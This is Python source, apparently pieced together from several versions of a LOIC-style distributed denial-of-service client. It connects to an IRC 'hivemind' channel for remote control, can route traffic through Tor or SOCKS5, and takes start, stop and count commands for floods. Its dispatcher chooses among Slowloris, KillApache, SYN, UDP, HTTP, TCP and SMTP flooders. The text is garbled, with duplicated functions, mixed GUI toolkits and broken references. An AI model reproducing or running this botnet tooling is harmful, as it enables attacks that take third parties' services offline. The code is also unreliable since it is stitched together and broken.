class framelogic(gui.MyFrame): def init(self): self.running = False # is the flooder backend running self.listener = Listener(LAZER_RECV, lazerParseHook) getEventManager().addListener(self.listener) self.listener = Listener(START_LAZER, lazerStartHook) getEventManager().addListener(self.listener) self.listener = Listener(IRC_RESTART, restartIRCHook) getEventManager().addListener(self.listener) getEventManager().start() # opens a new thread self.irc = None return def EvtConnectToHive(self, event): if not self.running: host = self.TextHive.GetValue() port = int(self.TextPort.GetValue()) channel = self.TextChan.GetValue() self.irc = IRC(host, int(port), channel) if True: newhost = host newport = int(port) newchannel = channel.replace("\\", "") if newhost == host and newport == port and self.irc.connected: self.echo("changing channel to " + newchannel) self.irc.changeChannel(newchannel) channel = newchannel else: host = newhost port = newport channel = newchannel self.echo("changing host to " + host + str(port) + channel) self.ircirc.disconnect() self.ircirc.host = host self.ircirc.port = port self.ircirc.channel = channel self.ircirc.connect() # sanity check channel if channel[0] != "#": channel = "#" + channel self.irc = IRC(host, port, channel) self.running = True """ p = Process(target=backend, args=(None,host,port,channel)) p.start(); """ return def echo(self, message): """ This lets you print to the gui info screen """ self.TextOut.SetValue(self.TextOut.GetValue() + "\n" + message)
def hivemindStart(self): if self.irc != None: msgBox = QMessageBox() msgBox.setText("Hivemind is already running.") if self.server == str(self.defTab.server): msgBox.setInformativeText("Do you want to change channel?") else: msgBox.setInformativeText("Do you want to change server?") msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel) msgBox.sethivemindButton(QMessageBox.Cancel) ret = msgBox.exec_() if ret == QMessageBox.Cancel: return if self.server == str(self.defTab.server.text()): self.channel = str(self.defTab.channel.text()) self.irc.changeChannel(str(self.defTab.channel.text())) else: irc.disconnect() irc.host = str(self.defTab.server.text()) irc.port = int(self.defTab.port.text()) irc.channel = str(self.defTab.channel.text()) irc.connect() self.server = str(self.defTab.server.text()) self.port = int(self.defTab.port.text()) self.channel = str(self.defTab.channel.text()) if self.irc == None: self.irc = IRC(self.server, self.port, self.channel)
def _do_connect(self): host = self.ircServ.get().strip() if len(host) == 0: getEventManager().signalEvent(Event(ERR,"Invalid Server")) return port = None try: port = int(self.ircPort.get().strip()) except: getEventManager().signalEvent(Event(ERR,"Invalid Port")) return channel = self.ircChan.get().strip() if len(channel) == 0: getEventManager().signalEvent(Event(ERR,"Channel Needed")) return if channel[0] != '#': getEventManager().signalEvent(Event(ERR,"Invalid Channel")) return if self.irc: Thread(target=self.irc.disconnect,args=()).start() self.irc = IRC(host,port,channel) Thread(target=self.irc.connect,args=()).start()
def EvtConnectToHive(self, event): if not self.running: host = self.TextHive.GetValue() port = int(self.TextPort.GetValue()) channel = self.TextChan.GetValue() self.irc = IRC(host, int(port), channel) if True: newhost = host newport = int(port) newchannel = channel.replace("\\", "") if newhost == host and newport == port and self.irc.connected: self.echo("changing channel to " + newchannel) self.irc.changeChannel(newchannel) channel = newchannel else: host = newhost port = newport channel = newchannel self.echo("changing host to " + host + str(port) + channel) self.ircirc.disconnect() self.ircirc.host = host self.ircirc.port = port self.ircirc.channel = channel self.ircirc.connect() # sanity check channel if channel[0] != "#": channel = "#" + channel self.irc = IRC(host, port, channel) self.running = True """ p = Process(target=backend, args=(None,host,port,channel)) p.start(); """ return
def main(args): global irc, flooder, socks5ip, socks5port getEventManager().addListener(LAZER_RECV, lazerParseHook) getEventManager().addListener(START_LAZER, lazerStartHook) getEventManager().addListener(IRC_RESTART, restartIRCHook) try: host = args[1] port = int(args[2]) channel = args[3] if len(args[4:]): try: opts, argv = getopt.getopt(args[4:], "ts:", ["tor","socks5="]) except getopt.GetoptError: print "Usage: python main.py <hivemind irc server> <irc port> <irc channel> [--tor] [--socks5=ip:port]" sys.exit() for o, a in opts: if o in ("-t", "--tor"): socks5ip = "127.0.0.1" socks5port = 9050 elif o in ("-s", "--socks5"): socks5 = a.split(':') socks5ip = socket.gethostbyname(socks5[0]) socks5port = int(socks5[1]) except (ValueError, IndexError): print "Usage: python main.py <hivemind irc server> <irc port> <irc channel> [--tor] [--socks5=ip:port]" sys.exit() if channel[0] != '#': channel = '#' + channel getEventManager().start() irc = IRC(host, port, channel) while running: try: i = raw_input() if i.find("connect") == 0: info = i.split(" ") print info if len(info) == 4 and info[2].isdigit(): newhost = info[1] newport = int(info[2]) newchannel = info[3].replace("\\", "") if newhost == host and newport == port and irc.connected: print "changing channel to", newchannel irc.changeChannel(newchannel) channel = newchannel else: host = newhost port = newport channel = newchannel print "changing host to", host, port, channel irc.disconnect() irc.host = host irc.port = port irc.channel = channel irc.connect() else: print "not enough info. connect server port channel" elif i == "stopflood": if flooder: flooder.stop() elif i == "startflood": if flooder: flooder.start() elif i == "floodcount": if flooder: print flooder.floodCount() elif i == "quit" or i == "exit": irc.disconnect() if flooder: flooder.stop() getEventManager().stop() break except KeyboardInterrupt: irc.disconnect() if flooder: flooder.stop() getEventManager().stop() break time.sleep(1) sys.exit()
def main(args): global irc, flooder listener = Listener(LAZER_RECV, lazerParseHook) getEventManager().addListener(listener) listener = Listener(START_LAZER, lazerStartHook) getEventManager().addListener(listener) listener = Listener(IRC_RESTART, restartIRCHook) getEventManager().addListener(listener) try: host = args[1] port = int(args[2]) channel = args[3] except: print "usage: pyloic <hivemind irc server> <irc port> <irc channel>" sys.exit() if channel[0] != "#": channel = "#" + channel getEventManager().start() irc = IRC(host, port, channel) while running: try: i = raw_input() if i.find("connect") == 0: info = i.split(" ") print info if len(info) == 4 and info[2].isdigit(): newhost = info[1] newport = int(info[2]) newchannel = info[3].replace("\\", "") if newhost == host and newport == port and irc.connected: print "changing channel to", newchannel irc.changeChannel(newchannel) channel = newchannel else: host = newhost port = newport channel = newchannel print "changing host to", host, port, channel irc.disconnect() irc.host = host irc.port = port irc.channel = channel irc.connect() else: print "not enough info. connect server port channel" elif i == "stopflood": if flooder: flooder.stop() elif i == "startflood": if flooder: flooder.start() elif i == "floodcount": if flooder: print flooder.floodCount() elif i == "quit" or i == "exit": irc.disconnect() if flooder: flooder.stop() getEventManager().stop() break except KeyboardInterrupt: irc.disconnect() if flooder: flooder.stop() getEventManager().stop() break time.sleep(1) sys.exit()
class GUI: def __init__(self,root): self.root = root root.protocol("WM_DELETE_WINDOW", self._quit) root.title('cannonymous') frame = Frame(self.root) Label(frame,text='LOIC2 Hivemind Server').pack(side=TOP) frame.pack() self.label = Label(frame,text="Offline") self.label.pack(side=BOTTOM) getEventManager().addListener(IRC_EVENT,self._on_irc_event) getEventManager().addListener(ERR,self._on_error) buttonQuit = Button(frame,text="Connect",command=self._do_connect) buttonQuit.pack(side=BOTTOM) _frame = Frame(frame) ircServLabel = Label(_frame,text="Server: ") ircServLabel.pack(side=TOP) ircPortLabel = Label(_frame,text="Port: ") ircPortLabel.pack(side=TOP) ircChanLabel = Label(_frame,text="Channel: ") ircChanLabel.pack(side=TOP) _frame.pack(side=LEFT) _frame = Frame(frame) self.ircServ = Entry(_frame) self.ircServ.pack(side=TOP) self.ircPort = Entry(_frame) self.ircPort.pack(side=TOP) self.ircChan = Entry(_frame) self.ircChan.pack(side=TOP) _frame.pack(side=LEFT) self.irc = None getEventManager().start() def _do_connect(self): host = self.ircServ.get().strip() if len(host) == 0: getEventManager().signalEvent(Event(ERR,"Invalid Server")) return port = None try: port = int(self.ircPort.get().strip()) except: getEventManager().signalEvent(Event(ERR,"Invalid Port")) return channel = self.ircChan.get().strip() if len(channel) == 0: getEventManager().signalEvent(Event(ERR,"Channel Needed")) return if channel[0] != '#': getEventManager().signalEvent(Event(ERR,"Invalid Channel")) return if self.irc: Thread(target=self.irc.disconnect,args=()).start() self.irc = IRC(host,port,channel) Thread(target=self.irc.connect,args=()).start() def _quit(self): self._on_exit() self.root.destroy() def _on_irc_event(self,event): self.label['fg'] = 'black' self.label['text'] = event def _on_error(self,event): self.label['fg'] = 'red' self.label['text'] = event def mainloop(self): self.root.mainloop() def _on_exit(self): if self.irc: self.label['text'] = 'Disconnecting...' self.irc.disconnect() getEventManager().stop() def _do_flood(target,port,floodtype="http"): if self.flooder: self.flooder.stop() self.flooder = None if floodtype == 'apache': self.flooder = KillApache() elif floodtype == 'slowloris': self.flooder = SlowLoris() elif floodtype == 'http': self.flooder = HTTP() elif floodtype == 'udp': self.flooder = UDP() elif floodtype == 'syn': self.flooder = SYN() elif floodtype == 'tcp': self.flooder = TCP() elif floodtype == 'smtp': self.flooder = SMTP() if self.flooder: self.flooder.target = (target,port) self.flooder.start() else: getEventManager().signalEvent(Event(ERR,'Invalid Flooder Type: %s'%floodtype))